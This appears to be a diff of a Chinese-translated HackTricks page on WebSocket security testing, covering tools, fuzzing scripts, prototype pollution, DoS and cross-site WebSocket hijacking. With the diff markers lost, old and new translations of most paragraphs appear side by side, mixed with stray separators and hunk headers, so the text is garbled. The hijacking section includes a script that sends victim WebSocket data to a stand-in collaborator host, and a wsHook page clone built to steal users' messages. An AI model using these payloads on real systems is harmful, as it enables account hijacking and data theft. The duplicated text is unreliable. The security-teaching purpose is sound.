websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Websockets enumeration
|
||||
### Websockets 枚举
|
||||
|
||||
您可以使用 **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **自动发现、指纹识别和搜索已知的** **vulnerabilities** **在 websockets 中。**
|
||||
你可以使用 **工具** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **来自动发现、指纹识别并搜索 websockets 中的已知** **漏洞**。
|
||||
|
||||
### Websocket Debug tools
|
||||
|
||||
- **Burp Suite** 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 扩展** 将允许您通过获取 **history**、设置 **interception rules**、使用 **match and replace** 规则、使用 **Intruder** 和 **AutoRepeater** 更好地管理 Burp 中的 Websocket 通信。
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 代表 "**WebSocket/Socket.io Proxy**",这个用 Node.js 编写的工具提供了一个用户界面来 **capture、intercept、send custom** 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专为渗透测试设计的 **interactive websocket REPL**。它提供了一个接口来观察 **incoming websocket messages 和发送新消息**,并提供一个易于使用的框架来 **automating** 这种通信。
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) 是一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中,它提供了一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
|
||||
- **Burp Suite** 支持 MitM websockets 通信,方式与处理常规 HTTP 通信非常相似。
|
||||
- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** 将允许你在 Burp 中更好地管理 Websocket 通信,通过获取 **历史记录**、设置 **拦截规则**、使用 **匹配并替换** 规则,并使用 **Intruder** 和 **AutoRepeater**。
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 缩写自 "**WebSocket/Socket.io Proxy**",该工具由 Node.js 编写,提供一个用户界面以 **捕获、拦截、发送自定义** 消息,并查看客户端与服务器之间的所有 WebSocket 和 Socket.IO 通信。
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是为 penetration testing 专门设计的 **interactive websocket REPL**。它提供用于观察 **incoming websocket messages and sending new ones** 的界面,并提供一个易用的框架来 **自动化** 这种通信。
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) 它是一个 **web to communicate**,使用 **websockets** 与其他网站通信。
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 除了其他类型的通信/协议外,它提供了一个 **web to communicate**,使用 **websockets** 与其他网站通信。
|
||||
|
||||
## Decrypting Websocket
|
||||
## 解密 Websocket
|
||||
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中,您有一个代码来启动一个使用 websockets 的网站,在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中您可以找到解释。
|
||||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中,你可以找到用于启动使用 websockets 的 web 的代码,而在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中可以找到相应的解释。
|
||||
|
||||
## Websocket Fuzzing
|
||||
|
||||
Burp 扩展 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) 现在也允许对 WebSocket 消息进行模糊测试。您可以在 [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) 阅读更多信息。
|
||||
该 Burp 扩展 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) 现在也允许对 WebSocket 消息进行 fuzz。你可以在 [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) 阅读更多信息。
|
||||
|
||||
### WebSocket Turbo Intruder (Burp extension)
|
||||
|
||||
PortSwigger 的 WebSocket Turbo Intruder 为 WebSockets 带来 Turbo Intruder 风格的 Python 脚本支持和高速 fuzzing。可从 BApp Store 或源码安装。它包含两个组件:
|
||||
|
||||
- Turbo Intruder:使用自定义引擎对单个 WS 端点进行高流量消息传递。
|
||||
- HTTP Middleware:暴露本地 HTTP 端点,将请求体作为 WS 消息通过持久连接转发,因此任何基于 HTTP 的扫描器都可以探测 WS 后端。
|
||||
|
||||
用于 fuzz WS 端点并筛选相关响应的基本脚本模式:
|
||||
```python
|
||||
def queue_websockets(upgrade_request, message):
|
||||
connection = websocket_connection.create(upgrade_request)
|
||||
for i in range(10):
|
||||
connection.queue(message, str(i))
|
||||
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@MatchRegex(r'{\"user\":\"Hal Pline\"')
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
使用诸如 `@MatchRegex(...)` 的装饰器来减少噪音,当单条消息触发多个响应时。
|
||||
|
||||
### 在 HTTP 后方桥接 WS (HTTP Middleware)
|
||||
|
||||
封装持久的 WS 连接,并将 HTTP 消息体作为 WS 消息转发,以便使用 HTTP 扫描器进行自动化测试:
|
||||
```python
|
||||
def create_connection(upgrade_request):
|
||||
connection = websocket_connection.create(upgrade_request)
|
||||
return connection
|
||||
|
||||
@MatchRegex(r'{\"user\":\"You\"')
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
然后在本地发送 HTTP;body 会被转发为 WS 消息:
|
||||
```http
|
||||
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
|
||||
Host: 127.0.0.1:9000
|
||||
Content-Length: 16
|
||||
|
||||
{"message":"hi"}
|
||||
```
|
||||
这可以让你驱动 WS 后端,同时过滤“有趣”的事件(例如,SQLi 错误、auth bypass、command injection 行为)。
|
||||
|
||||
### Socket.IO 处理(握手、心跳、事件)
|
||||
|
||||
Socket.IO 在 WS 之上添加了自己的帧结构。通过必需的查询参数 `EIO`(例如,`EIO=4`)来检测它。使用 Ping (`2`) 和 Pong (`3`) 保持会话存活,并用 `"40"` 开始会话,然后发出像 `42["message","hello"]` 这样的事件。
|
||||
|
||||
Intruder 示例:
|
||||
```python
|
||||
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||
|
||||
def queue_websockets(upgrade_request, message):
|
||||
connection = websocket_connection.create(
|
||||
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||
connection.queue('40')
|
||||
connection.queue('42["message","hello"]')
|
||||
|
||||
@Pong("3")
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@PingPong("2", "3")
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
HTTP 适配器变体:
|
||||
```python
|
||||
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||
|
||||
def create_connection(upgrade_request):
|
||||
connection = websocket_connection.create(
|
||||
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||
connection.queue('40')
|
||||
connection.decIn()
|
||||
return connection
|
||||
|
||||
@Pong("3")
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@PingPong("2", "3")
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
### 通过 Socket.IO 检测服务端 prototype pollution
|
||||
|
||||
按照 PortSwigger 的安全检测技术,尝试通过发送如下 payload 污染 Express 内部:
|
||||
```json
|
||||
{"__proto__":{"initialPacket":"Polluted"}}
|
||||
```
|
||||
如果问候或行为发生变化(例如,echo 包含 "Polluted"),很可能你污染了服务器端的 prototypes。影响取决于可达的 sinks;应将其与 Node.js prototype pollution 部分的 gadgets 关联起来。参见:
|
||||
|
||||
- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
|
||||
|
||||
### WebSocket race conditions with Turbo Intruder
|
||||
|
||||
默认引擎会在一个连接上批量发送消息(吞吐量高,但不利于触发 race)。使用 THREADED 引擎来生成多个 WS 连接,并并行触发 payloads 以触发逻辑竞态(double‑spend、token reuse、state desync)。从示例脚本开始并在 `config()` 中调整并发。
|
||||
|
||||
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
|
||||
|
||||
### WebSocket DoS: malformed frame “Ping of Death”
|
||||
|
||||
伪造 WS 帧,其 header 声明一个巨大的 payload 长度但不发送 body。一些 WS 服务器会相信该长度并预分配缓冲区;将其设置接近 `Integer.MAX_VALUE` 可能导致 Out‑Of‑Memory 并引发远程未认证 DoS。参见示例脚本。
|
||||
|
||||
### CLI and debugging
|
||||
|
||||
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
|
||||
- Enable the WS Logger to capture and correlate messages using internal IDs.
|
||||
- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
|
||||
- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
|
||||
|
||||
### Operational safety
|
||||
|
||||
高频率的 WS fuzzing 可能会打开大量连接并每秒发送成千上万条消息。畸形帧和高发送速率可能导致真实 DoS。仅在授权范围内使用。
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
|
||||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被视为影响 WebSocket 握手的特定类型的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证且没有 **CSRF tokens** 或类似安全措施时,就会出现此漏洞。
|
||||
|
||||
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,该连接被视为受害者与应用程序会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
|
||||
攻击者可以通过托管一个 **恶意网页** 发起跨站的 WebSocket 连接到易受攻击的应用来利用此漏洞。因此,该连接被视为受害者与该应用的会话的一部分,利用了会话处理机制中缺乏 CSRF 防护的漏洞。
|
||||
|
||||
为了使此攻击有效,以下是要求:
|
||||
要使此攻击生效,需要满足以下条件:
|
||||
|
||||
- websocket **authentication must be cookie based**
|
||||
- cookie 必须可以从攻击者的服务器访问(这通常意味着 **`SameSite=None`**)并且在 Firefox 中未启用 **Firefox Total Cookie Protection**,在 Chrome 中未 **blocked third-party cookies**。
|
||||
- websocket 服务器必须不检查连接的来源(或者这必须是可绕过的)
|
||||
- The websocket **authentication must be cookie based**
|
||||
- The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
|
||||
- The websocket server must not check the origin of the connection (or this must be bypasseable)
|
||||
|
||||
另外:
|
||||
Also:
|
||||
|
||||
- 如果身份验证基于本地连接(到 localhost 或本地网络),则攻击 **will be possible**,因为当前没有保护措施禁止它(请查看 [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||
- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||
|
||||
### Simple Attack
|
||||
|
||||
请注意,当 **establishing** 一个 **websocket** 连接时,**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其 **websocket** **session based on the sent cookie**。
|
||||
注意,当建立一个 **websocket** 连接时,**cookie** 会被 **发送** 给服务器。**服务器** 可能使用它来将每个特定用户和其基于所发 cookie 的 **websocket** 会话关联起来。
|
||||
|
||||
然后,如果 **例如** **websocket** **server** **sends back the history of the conversation** 的用户,如果发送了一个 msg "**READY**",那么一个 **simple XSS** 建立连接(**cookie** 将 **be sent** **automatically** 授权受害者用户) **sending** "**READY**" 将能够 **retrieve** **conversation** 的历史记录。
|
||||
例如,如果 **websocket** **server** 在收到消息 "**READY**" 时会返回某个用户的会话历史,那么通过一个简单的 XSS 建立连接(cookie 会被自动发送以授权受害用户)并发送 "**READY**",就能够检索该对话的历史。
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -122,13 +239,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### 跨源 + 不同子域的 Cookie
|
||||
### Cross Origin + Cookie 与不同子域名
|
||||
|
||||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地 **在进行 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**,**cookie** 被 **发送**,而且 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取其中的令牌**。
|
||||
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者设法**在发生 web socket 通信的域的子域中执行任意 Javascript**。因为这是一个**子域名**,**cookie** 会被**发送**,并且因为 **Websocket 没有正确检查 Origin**,可以与其通信并**窃取 tokens**。
|
||||
|
||||
### 从用户那里窃取数据
|
||||
### 从用户窃取数据
|
||||
|
||||
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在 Websocket 通信发生的脚本中添加以下代码:
|
||||
复制你想冒充的 web application(例如 .html 文件),并在发生 websocket 通信的脚本中添加以下代码:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -148,42 +265,51 @@ xhttp.send()
|
||||
return messageEvent
|
||||
}
|
||||
```
|
||||
现在从 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 下载 `wsHook.js` 文件,并**将其保存在网页文件夹内**。\
|
||||
通过暴露网络应用并使用户连接到它,您将能够窃取通过 websocket 发送和接收的消息:
|
||||
现在从 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 下载 `wsHook.js` 文件,并**将其保存到与 web 文件同一文件夹中**.\
|
||||
暴露该 web 应用并让用户连接到它,你将能够窃取通过 websocket 发送和接收的消息:
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
### CSWSH 保护
|
||||
|
||||
CSWSH 攻击基于这样一个事实:**用户将连接到一个恶意页面**,该页面将**打开一个 websocket 连接**到用户已经连接的网页,并将以用户的身份进行身份验证,因为请求将发送用户的 cookies。
|
||||
The CSWSH attack is based on the fact that an **user will connect to a malicious page** that will **open a websocket connection** to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies.
|
||||
|
||||
如今,防止此问题非常简单:
|
||||
现在很容易防止此问题:
|
||||
|
||||
- **Websocket 服务器检查来源**:Websocket 服务器应始终检查用户连接的来源,以防止意外页面连接到它。
|
||||
- **身份验证令牌**:Websocket 连接可以基于服务器为用户生成的令牌,而不是基于 cookie,这个令牌对攻击者是未知的(如反 CSRF 令牌)。
|
||||
- **SameSite Cookie 属性**:具有 `SameSite` 值为 `Lax` 或 `Strict` 的 cookies 不会从外部攻击者页面发送到受害者服务器,因此,基于 cookie 的身份验证将不会成功。请注意,Chrome 现在将没有指定此标志的 cookies 的值设置为 **`Lax`**,使其默认更安全。然而,在创建 cookie 的前两分钟,它将具有 **`None`** 的值,使其在这段有限的时间内易受攻击(此外,预计此措施将在某个时候被移除)。
|
||||
- **Firefox 完全 Cookie 保护**:完全 Cookie 保护通过将 cookies 隔离到创建它们的网站来工作。基本上,每个网站都有自己的 cookie 存储分区,以防止第三方将用户的浏览历史链接在一起。这使得 **CSWSH 无法使用**,因为攻击者的网站将无法访问 cookies。
|
||||
- **Chrome 第三方 cookies 阻止**:这也可能防止将经过身份验证的用户的 cookie 发送到 websocket 服务器,即使 `SameSite=None`。
|
||||
- **Websocket server checking the origin**: websocket 服务器应始终检查连接来源,以防止意外页面连接到它。
|
||||
- **Authentication token**: 与基于 cookie 的认证相比,websocket 连接可以基于由服务器为用户生成且攻击者无法获知的 token(例如 anti-CSRF token)。
|
||||
- **SameSite Cookie attribute**: 当 cookies 的 `SameSite` 值为 `Lax` 或 `Strict` 时,从外部攻击者页面不会被发送到受害服务器,因此基于 cookie 的认证将无效。注意 Chrome 现在会默认将未指定该标志的 cookie 设为 **`Lax`**,这使其默认更安全。然而,在 cookie 创建后的前 2 分钟内,其值将为 **`None`**,使其在该有限时段内易受攻击(预计该措施未来可能会被移除)。
|
||||
- **Firefox Total Cookie Protection**: Total Cookie Protection 通过将 cookies 限定在创建它们的网站来工作。本质上每个站点都有自己的 cookie 存储分区,以防止第三方将用户的浏览历史串联起来。这使得 **CSWSH 无法使用**,因为攻击者站点无法访问这些 cookies。
|
||||
- **Chrome third-party cookies block**: 即使 `SameSite=None`,此设置也可能阻止将已认证用户的 cookie 发送到 websocket 服务器。
|
||||
|
||||
## 竞争条件
|
||||
## Race Conditions
|
||||
|
||||
WebSockets 中的竞争条件也是一个问题,[查看此信息以了解更多](race-condition.md#rc-in-websockets)。
|
||||
WebSockets 中也存在 Race Conditions,更多信息请参见 [了解详情](race-condition.md#rc-in-websockets).
|
||||
|
||||
## 其他漏洞
|
||||
|
||||
由于 Web Sockets 是一种**向服务器端和客户端发送数据**的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可用于利用其他多种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
|
||||
由于 Web Sockets 是一种用于**在服务端和客户端之间传输数据**的机制,取决于服务器和客户端如何处理这些信息,**Web Sockets 可被用于利用其他多种漏洞,例如 XSS、SQLi,或利用来自 websocket 的用户输入触发的任何常见 web 漏洞。**
|
||||
|
||||
## **WebSocket 走私**
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
该漏洞可能允许你通过让其认为已建立了**websocket 通信**(即便实际上并未建立),从而**绕过 reverse proxies 的限制**。这可能让攻击者**访问隐藏的端点**。更多信息请查看以下页面:
|
||||
|
||||
此漏洞可能允许您**绕过反向代理限制**,使其相信**已建立 websocket 通信**(即使这不是真的)。这可能允许攻击者**访问隐藏的端点**。有关更多信息,请查看以下页面:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||||
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
||||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||
- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
|
||||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
|
||||
- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
|
||||
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
|
||||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user